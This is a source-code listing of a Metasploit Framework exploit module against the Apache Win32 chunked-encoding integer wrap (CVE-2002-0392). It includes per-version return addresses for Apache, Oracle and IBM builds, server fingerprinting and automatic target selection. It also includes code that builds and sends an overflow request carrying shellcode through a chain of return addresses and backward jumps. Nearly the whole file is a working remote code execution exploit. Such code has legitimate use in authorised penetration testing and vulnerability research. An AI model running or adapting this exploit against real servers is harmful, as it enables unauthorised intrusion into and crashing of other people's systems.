Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / http / apache_chunked.rb @ master

History | View | Annotate | Download (9.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        HttpFingerprint = { :pattern => [ /Apache/ ] }
18

    
19
        include Msf::Exploit::Remote::HttpClient
20

    
21
        def initialize(info = {})
22
                super(update_info(info,
23
                        'Name'           => 'Apache Win32 Chunked Encoding',
24
                        'Description'    => %q{
25
                                        This module exploits the chunked transfer integer wrap
26
                                vulnerability in Apache version 1.2.x to 1.3.24. This
27
                                particular module has been tested with all versions of the
28
                                official Win32 build between 1.3.9 and 1.3.24. Additionally,
29
                                it should work against most co-branded and bundled versions
30
                                of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
31

    
32
                                You will need to use the Check() functionality to determine
33
                                the exact target version prior to launching the exploit. The
34
                                version of Apache bundled with Oracle 8.1.7 will not
35
                                automatically restart, so if you use the wrong target value,
36
                                the server will crash.
37
                        },
38
                        'Author'         => [ 'hdm', 'jduck' ],
39
                        'Version'        => '$Revision$',
40
                        'References'     =>
41
                                [
42
                                        [ 'CVE', '2002-0392' ],
43
                                        [ 'OSVDB', '838'],
44
                                        [ 'BID', '5033' ],
45
                                        [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],
46

    
47
                                ],
48
                        'Privileged'     => true,
49
                        'Platform'       => 'win',
50
                        'Payload'        =>
51
                                {
52
                                        'Space'    => 987,
53
                                        'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
54
                                        'MinNops'  => 200,
55
                                        'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44",
56

    
57
                                },
58
                        'Targets'        =>
59
                                [
60
                                        [  'Windows Generic Bruteforce', {} ],
61

    
62
                                        # Official Apache.org win32 builds
63
                                        [  'Apache.org Build 1.3.9->1.3.19',
64
                                                {
65
                                                        'Ret' => 0x00401151,
66
                                                        'Pad' => [6,2,0,4,1,3,5,7]
67
                                                }
68
                                        ],
69
                                        [  'Apache.org Build 1.3.22->1.3.24',
70
                                                {
71
                                                        'Ret' => 0x00401141,
72
                                                        'Pad' => [2,6,0,4,1,3,5,7]
73
                                                }
74
                                        ],
75
                                        [  'Apache.org Build 1.3.19->1.3.24',
76
                                                {
77
                                                        'Ret' => 0x6ff6548d,
78
                                                        'Pad' => [2,6,0,4,1,3,5,7]
79
                                                }
80
                                        ],
81
                                        [  'Apache.org Build 1.3.22',
82
                                                {
83
                                                        'Ret' => 0x6ff762ac,
84
                                                        'Pad' => [2,6,0,4,1,3,5,7]
85
                                                }
86
                                        ],
87

    
88
                                        # Return to Win9xConHook.dll via call ebx
89
                                        [  'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
90
                                                {
91
                                                        'Ret' => 0x1c0f13e5,
92
                                                        'Pad' => [2,6,0,4,1,3,5,7]
93
                                                }
94
                                        ],
95

    
96
                                        # Return to Win9xConHook.dll via call esi
97
                                        [  'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
98
                                                {
99
                                                        'Ret' => 0x1c0f1033,
100
                                                        'Pad' => [2,6,0,4,1,3,5,7]
101
                                                }
102
                                        ],
103

    
104
                                        # Interesting return to PEB trick for Windows 2003 systems...
105
                                        [  'Windows 2003 English SP0',
106
                                                {
107
                                                        'Ret' => 0x7ffc0638,
108
                                                        'Pad' => [2,6,5,4,1,3,0,7]
109
                                                }
110
                                        ],
111

    
112
                                        # Pop/Pop/Return on Windows 2000
113
                                        [  'Windows 2000 English',
114
                                                {
115
                                                        'Ret' => 0x75022ac4,
116
                                                        'Pad' => [2,6,5,4,1,3,0,7]
117
                                                }
118
                                        ],
119

    
120
                                        # Oracle HTTPD: [ 8.1.7 ] (one shot)
121
                                        # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
122
                                        # OpenSSL/0.9.5a mod_perl/1.24
123
                                        [  'Oracle 8.1.7 Apache 1.3.12',
124
                                                {
125
                                                        'Ret' => 0x1d84d42c,
126
                                                        'Pad' => [7]
127
                                                }
128
                                        ],
129

    
130
                                        # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
131
                                        # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
132
                                        # OpenSSL/0.9.5a mod_perl/1.24
133
                                        [  'Oracle 9.1.0 Apache 1.3.12',
134
                                                {
135
                                                        'Ret' => 0x10016061,
136
                                                        'Pad' => [5,6,0,4,1,3,2,7]
137
                                                }
138
                                        ],
139

    
140
                                        # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
141
                                        # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
142
                                        # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
143
                                        # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
144
                                        [  'Oracle 9.2.0 Apache 1.3.22',
145
                                                {
146
                                                        'Ret' => 0x6ff6427a,
147
                                                        'Pad' => [5,6,0,4,1,3,2,7]
148
                                                }
149
                                        ],
150

    
151
                                        # Generic debugging targets
152
                                        [  'Debugging Target',
153
                                                {
154
                                                        'Ret' => 0xcafebabe,
155
                                                        'Pad' => [0,1,2,3,4,5,6,7]
156
                                                }
157
                                        ]
158
                                ],
159
                        'DisclosureDate' => 'Jun 19 2002',
160
                        'DefaultTarget'  => 0))
161
        end
162

    
163
        def check
164
                response = send_request_raw({'uri' => '/'}, 5)
165
                if response.nil?
166
                        print_status("No response to request")
167
                        return Exploit::CheckCode::Safe
168
                end
169

    
170
                http_fingerprint({ :response => response })  # Custom Server header matching
171

    
172
                code = Exploit::CheckCode::Appears
173

    
174
                case response['Server']
175
                        when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
176
                                print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
177
                        when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
178
                                print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
179
                        when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
180
                                print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
181
                        when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
182
                                print_status("IBM backported the patch, this system is not vulnerable")
183
                                code = Exploit::CheckCode::Safe
184
                        when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
185
                        else
186
                                code = Exploit::CheckCode::Safe
187
                end
188

    
189
                if code == Exploit::CheckCode::Appears
190
                        print_status("Vulnerable server: #{response['Server']}")
191
                else
192
                        print_status("Server is probably not vulnerable: #{response['Server']}")
193
                end
194

    
195
                return code
196
        end
197

    
198
        def auto_target
199
                response = send_request_raw({'uri' => '/'}, 5)
200
                if response.nil?
201
                        print_error("No response to request")
202
                        return targets_to_try
203
                end
204

    
205
                http_fingerprint({ :response => response })  # Custom Server header matching / automatic target selection
206

    
207
                targets_to_try = []
208
                server_hdr = response['Server']
209
                print_status("Server: #{server_hdr}")
210

    
211
                case server_hdr
212
                when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
213
                        targets_to_try.push(targets[9])
214

    
215
                when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
216
                        targets_to_try.push(targets[10])
217

    
218
                when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
219
                        targets_to_try.push(targets[11])
220

    
221
                when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
222
                        # fall through
223

    
224
                else
225
                        # check for apache version ranges
226
                        if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
227
                                version = $1
228

    
229
                                #print_status("Apache version: #{version}")
230
                                ver = version.split('.')
231
                                if (ver.length == 3)
232
                                        major = ver[0].to_i
233
                                        minor = ver[1].to_i
234
                                        rev = ver[2].to_i
235
                                        if (major == 1 and minor == 3)
236
                                                targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
237
                                                targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
238
                                                targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
239
                                                targets_to_try.push(targets[4]) if (rev == 22)
240

    
241
                                                # Add the remaining targets, regardless of quality...
242
                                                if (server_hdr =~ /Win32/)
243
                                                        # targets 4, 5, 6, 7
244
                                                        if (rev >= 17 and rev <= 24)
245
                                                                targets_to_try.push(targets[5])
246
                                                                targets_to_try.push(targets[6])
247
                                                        end
248
                                                        targets_to_try.push(targets[7])
249
                                                        targets_to_try.push(targets[8])
250
                                                end
251
                                        end
252
                                        # Version 1.0 - 1.2, Fall through...
253
                                end
254
                                # ServerTokens setting isn't giving up enough information ...  Might need to try?
255
                        end
256
                        # Not Apache?  Fall through...
257
                end
258

    
259
                targets_to_try
260
        end
261

    
262
        #
263
        # If auto, ask the auto_target function for a list of
264
        # targets to try...
265
        #
266
        # If not auto, just try the selected target.
267
        #
268
        def exploit
269
                if target_index == 0
270
                        targs = auto_target
271
                        print_status("Auto-targeting returned #{targs.length} candidates...")
272
                        targs.each_with_index { |targ, idx|
273
                                # Never try the debug target automatically :)
274
                                next if targ.name =~ /Debug/
275
                                exploit_target(targ)
276
                        }
277
                else
278
                        exploit_target(target)
279
                end
280
        end
281

    
282
        def exploit_target(target)
283
                target['Pad'].each { |pad|
284
                        pattern =
285
                                rand_text_alphanumeric(3936) +
286
                                payload.encoded +
287
                                make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
288
                                rand_text_alphanumeric(pad)
289

    
290
                        # Move slightly further back to allow padding changes
291
                        pattern +=
292
                                "\xeb\xf0\xde\xad" +
293
                                [target.ret].pack('V')
294

    
295
                        # Create a chain of return addresses and reverse jumps
296
                        254.times { |x|
297
                                pattern +=
298
                                        "\xeb\xf6\xbe\xef" +
299
                                        [target.ret].pack('V')
300
                        }
301

    
302
                        # Even out the request length based on the padding value
303
                        # This is required to reliably hit the return address offset
304
                        pattern += rand_text_alphanumeric(8 - pad)
305

    
306
                        #
307
                        # Regardless of what return we hit, execution jumps backwards to the shellcode:
308
                        #                                   _______________ _______________ ___________
309
                        #       _________    _____________  | ________    | | ______      | | ______
310
                        #       v       |    v           |  v v      |    | v v    |      | v v    |
311
                        # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
312
                        #
313

    
314
                        print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
315

    
316
                        # Build the request
317
                        send_request_raw({
318
                                'uri'     => '/',
319
                                'headers' =>
320
                                        {
321
                                                'Transfer-Encoding' => "CHUNKED"
322
                                        },
323
                                'data'    => "FFFFFFF0 " + pattern,
324
                        }, 2)
325

    
326
                        # Check the handler
327
                        handler
328
                }
329
        end
330

    
331
end